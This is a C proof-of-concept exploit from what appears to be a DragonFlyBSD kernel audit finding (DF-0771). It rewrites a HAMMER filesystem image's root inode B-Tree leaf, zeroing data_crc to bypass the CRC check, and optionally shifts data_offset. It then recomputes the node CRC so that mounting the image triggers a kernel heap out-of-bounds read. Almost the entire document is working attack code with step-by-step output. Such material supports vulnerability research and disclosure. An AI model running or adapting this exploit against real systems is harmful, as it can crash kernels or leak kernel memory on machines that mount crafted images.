โฌข DragonFlyBSD Kernel Audit
DF-0771 / corrupt.c
โ† back to finding โ†“ download raw
/*
 * DF-0771 โ€” crafted-image corruptor.
 *
 * Walks a HAMMER filesystem image, finds the root inode's B-Tree leaf record
 * (obj_id=HAMMER_OBJID_ROOT=1, rec_type=HAMMER_RECTYPE_INODE=1), and rewrites
 * its data_len to a wrong value (1) and data_crc to 0. This is exactly the
 * on-disk state the finding describes: a crafted image whose INODE leaf has
 * data_len != sizeof(struct hammer_inode_data) and data_crc == 0, which
 * bypasses hammer_crc_test_leaf() (hammer_crc.h:294: data_crc==0 matches
 * hammer_crc_get_leaf()==0 for a wrong-sized INODE record), and then
 * hammer_get_inode() does the unconditional 128-byte struct copy at
 * hammer_inode.c:525  ->  heap OOB read when data_offset's xoff is large.
 *
 * After corrupting the leaf we must recompute the B-Tree node CRC
 * (hammer_crc_get_btree, hammer_crc.h:225) so the kernel still accepts the
 * node. We use the real iscsi_crc32() from sys/libkern/icrc32.c.
 *
 * Usage: ./corrupt <image>  (operates on the raw block device or image file)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stddef.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

typedef uint32_t hammer_crc_t;
typedef uint64_t hammer_off_t;
typedef uint64_t hammer_tid_t;
typedef char hammer_uuid_t[16];

#define HAMMER_FSBUF_VOLUME 0xC8414D4D5552HAMMER /* placeholder, set below */
/* real signature */
#undef  HAMMER_FSBUF_VOLUME
#define HAMMER_FSBUF_VOLUME 0x83d10fa4bc37b086ULL /* unused here */

#define HAMMER_RECTYPE_INODE 0x0001
#define HAMMER_OBJID_ROOT    1
#define HAMMER_BTREE_TYPE_LEAF    ((uint8_t)'L')
#define HAMMER_BTREE_TYPE_RECORD  ((uint8_t)'R')
#define HAMMER_BTREE_LEAF_ELMS 63
#define HAMMER_BUFSIZE 16384
#define HAMMER_BUFMASK (HAMMER_BUFSIZE - 1)
#define HAMMER_OFF_ZONE_MASK 0xF000000000000000ULL
#define HAMMER_OFF_SHORT_MASK 0x000FFFFFFFFFFFFFULL

/* ---- struct hammer_base_elm (hammer_btree.h:98) ---- */
typedef struct {
    int64_t obj_id;
    int64_t key;
    hammer_tid_t create_tid;
    hammer_tid_t delete_tid;
    uint16_t rec_type;
    uint8_t obj_type;
    uint8_t btype;
    uint32_t localization;
} hammer_base_elm_t;

/* ---- struct hammer_btree_leaf_elm (hammer_btree.h:170) ---- */
typedef struct {
    hammer_base_elm_t base;
    uint32_t created_ts;
    uint32_t deleted_ts;
    hammer_off_t data_offset;
    int32_t data_len;
    hammer_crc_t data_crc;
} leaf_elm_t;

typedef struct {
    hammer_base_elm_t base;
    uint32_t created_ts;
    uint32_t deleted_ts;
    hammer_off_t subtree_offset;
    int32_t reserved01;
    int32_t reserved02;
} int_elm_t;

typedef union {
    hammer_base_elm_t base;
    leaf_elm_t leaf;
    int_elm_t internal;
} btree_elm_t;

/* ---- struct hammer_node_ondisk (hammer_btree.h:230) ---- */
typedef struct {
    hammer_crc_t crc;            /* MUST BE FIRST */
    uint32_t reserved01;
    hammer_off_t parent;
    int32_t count;
    uint8_t type;
    uint8_t reserved02;
    uint16_t reserved03;
    hammer_off_t reserved04;
    hammer_off_t reserved05;
    hammer_off_t reserved06;
    hammer_off_t reserved07;
    hammer_tid_t mirror_tid;
    btree_elm_t elms[HAMMER_BTREE_LEAF_ELMS];
} node_ondisk_t;

#define HAMMER_BTREE_CRCSIZE (sizeof(node_ondisk_t) - sizeof(hammer_crc_t))

/* ---- struct hammer_volume_ondisk (hammer_disk.h:738) (subset) ---- */
typedef struct {
    uint64_t vol_signature;
    int64_t vol_bot_beg;
    int64_t vol_mem_beg;
    int64_t vol_buf_beg;
    int64_t vol_buf_end;
    int64_t vol_reserved01;
    hammer_uuid_t vol_fsid;
    hammer_uuid_t vol_fstype;
    char vol_label[64];
    int32_t vol_no;
    int32_t vol_count;
    uint32_t vol_version;
    hammer_crc_t vol_crc;
    uint32_t vol_flags;
    uint32_t vol_rootvol;
    uint32_t vol_reserved[8];
    int64_t vol0_stat_bigblocks;
    int64_t vol0_stat_freebigblocks;
    int64_t vol0_reserved01;
    int64_t vol0_stat_inodes;
    int64_t vol0_reserved02;
    hammer_off_t vol0_btree_root;
    /* ...rest unused here... */
} volume_ondisk_t;

/* include the real iscsi_crc32 from sys/libkern/icrc32.c */
#include "icrc32_kern.c"

static hammer_crc_t crc_get_btree(uint32_t vol_version, node_ondisk_t *node) {
    /* hammer_crc.h:225: crc over (node->crc + 1 .. end) */
    return (vol_version >= 7) ?
        iscsi_crc32((const char *)node + sizeof(hammer_crc_t), HAMMER_BTREE_CRCSIZE) :
        0; /* v6 uses crc32; we only target v7 images here */
}

int main(int argc, char **argv) {
    int want_oob = 0;
    if (argc == 3 && strcmp(argv[2], "oob") == 0) want_oob = 1;
    else if (argc != 2) { fprintf(stderr, "usage: %s <image> [oob]\n", argv[0]); return 2; }
    int fd = open(argv[1], O_RDWR);
    if (fd < 0) { perror("open"); return 2; }

    /* 1. read volume header (sector 0) โ€” read a full buffer-aligned chunk */
    volume_ondisk_t vol;
    {
        unsigned char vbuf[4096];
        ssize_t n = pread(fd, vbuf, sizeof(vbuf), 0);
        if (n < (ssize_t)sizeof(vol)) { fprintf(stderr, "pread vol: short read (%zd)\n", n); return 2; }
        memcpy(&vol, vbuf, sizeof(vol));
    }
    printf("vol_version = %u\n", vol.vol_version);
    printf("vol_buf_beg = %lld\n", (long long)vol.vol_buf_beg);
    printf("vol0_btree_root (zone-8) = 0x%016llx\n", (unsigned long long)vol.vol0_btree_root);

    hammer_off_t btree_root = vol.vol0_btree_root;
    /* zone-8 -> zone-2 -> physical: phys = vol_buf_beg + (btree_root & OFF_SHORT_MASK) */
    int64_t phys = vol.vol_buf_beg + (int64_t)(btree_root & HAMMER_OFF_SHORT_MASK);
    printf("btree_root phys offset = %lld\n", (long long)phys);

    /* 2. read the btree root node (4 KiB) โ€” read full sector-aligned chunk */
    node_ondisk_t node;
    {
        unsigned char nbuf[4096];
        if (pread(fd, nbuf, sizeof(nbuf), phys) != (ssize_t)sizeof(nbuf)) { perror("pread node"); return 2; }
        memcpy(&node, nbuf, sizeof(node));
    }
    printf("node type='%c' count=%d stored_crc=0x%08x recomputed_crc=0x%08x\n",
           node.type, node.count, node.crc, crc_get_btree(vol.vol_version, &node));

    if (node.type != HAMMER_BTREE_TYPE_LEAF) {
        fprintf(stderr, "root node is not LEAF (type=%c); btree has multiple levels -- "
                "this simple corruptor only handles a single-level root. Aborting.\n", node.type);
        return 3;
    }

    /* 3. find the root inode leaf (obj_id=1, rec_type=INODE) */
    int found = -1;
    for (int i = 0; i < node.count; i++) {
        leaf_elm_t *l = &node.elms[i].leaf;
        if (l->base.obj_id == HAMMER_OBJID_ROOT &&
            l->base.rec_type == HAMMER_RECTYPE_INODE &&
            l->base.btype == HAMMER_BTREE_TYPE_RECORD &&
            l->base.delete_tid == 0) {
            found = i;
            printf("FOUND root inode at elm[%d]: data_offset=0x%016llx data_len=%d data_crc=0x%08x\n",
                   i, (unsigned long long)l->data_offset, l->data_len, l->data_crc);
            printf("   data_offset xoff (within 16KiB buffer) = %u\n",
                   (uint32_t)(l->data_offset & HAMMER_BUFMASK));
            break;
        }
    }
    if (found < 0) { fprintf(stderr, "root inode leaf NOT found in btree root node\n"); return 4; }

    /* 4. corrupt: data_len=1 (wrong), data_crc=0 (bypasses hammer_crc_test_leaf) */
    leaf_elm_t *l = &node.elms[found].leaf;
    l->data_len = 1;
    l->data_crc = 0;
    if (want_oob) {
        /* Bump data_offset's within-buffer xoff to 16280 (0x3F88) so the
           128-byte struct copy at hammer_inode.c:525 reads past the 16 KiB
           HAMMER data buffer into adjacent kernel heap. The buffer base
           (16 KiB aligned) is unchanged, so hammer_bread_ext still maps the
           same valid on-disk buffer; only xoff changes. */
        hammer_off_t base = l->data_offset & ~(hammer_off_t)HAMMER_BUFMASK;
        hammer_off_t newx = 0x3F88; /* 16280: only 104 bytes remain in buffer */
        l->data_offset = base | newx;
        printf("OOB mode: data_offset xoff -> %llu (struct copy will read %lld bytes past buffer end)\n",
               (unsigned long long)newx,
               (long long)(newx + 128 - HAMMER_BUFSIZE));
    }

    /* 5. recompute node CRC */
    node.crc = crc_get_btree(vol.vol_version, &node);
    printf("CORRUPTED: data_len=1 data_crc=0; new node crc=0x%08x\n", node.crc);

    /* 6. write node back โ€” write full sector-aligned chunk */
    {
        unsigned char nbuf[4096];
        memcpy(nbuf, &node, sizeof(node));
        if (pwrite(fd, nbuf, sizeof(nbuf), phys) != (ssize_t)sizeof(nbuf)) { perror("pwrite node"); return 5; }
    }
    fsync(fd);
    close(fd);
    printf("OK: image corrupted. Mount it to trigger hammer_inode.c:525 OOB read.\n");
    return 0;
}